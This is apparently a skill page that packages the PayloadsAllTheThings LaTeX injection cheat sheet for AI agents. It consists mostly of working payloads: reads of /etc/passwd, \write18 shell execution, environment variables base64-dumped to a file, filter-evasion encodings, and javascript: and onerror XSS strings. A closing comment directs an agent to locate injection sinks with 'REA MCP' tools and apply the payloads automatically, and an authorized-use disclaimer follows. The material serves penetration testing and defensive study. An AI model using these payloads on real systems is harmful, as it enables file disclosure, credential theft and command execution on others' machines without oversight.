Loading...
Loading...
LaTeX Injection is a type of injection attack where malicious content is injected into LaTeX documents. LaTeX is widely used for document preparation and typesetting, particularly in academia, for producing high-quality scientific and mathematical documents. Due to its powerful scripting capabilities, LaTeX can be exploited by attackers to execute arbitrary commands if proper safeguards are not...
npx skill4agent add smartworldarafath/rea_skill payloads-latexSource: PayloadsAllTheThings/LaTeX Injection Category:| Skill ID:payloads-injectionpayloads-latex
LaTeX Injection is a type of injection attack where malicious content is injected into LaTeX documents. LaTeX is widely used for document preparation and typesetting, particularly in academia, for producing high-quality scientific and mathematical documents. Due to its powerful scripting capabilities, LaTeX can be exploited by attackers to execute arbitrary commands if proper safeguards are not in place.
\input{/etc/passwd}
\include{somefile} # load .tex file (somefile.tex)\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file\lstinputlisting{/etc/passwd}
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file\usepackage{verbatim}
\verbatiminput{/etc/passwd}\usepackage\input$#_&\catcode `\$=12
\catcode `\#=12
\catcode `\_=12
\catcode `\&=12
\input{path_to_script.pl}\lstin^^70utlisting{/etc/passwd}\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\write\outfile{Line 2}
\write\outfile{I like trains}
\closeout\outfile\immediate\write18{id > output}
\input{output}\verbatiminput\immediate\write18{env | base64 > test.tex}
\input{text.tex}\input|ls|base64
\input{|"/bin/hostname"}\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}\unicode{<img src=1 onerror="<ARBITRARY_JS_CODE>">}// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.⚠️ Authorized Use Only. All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.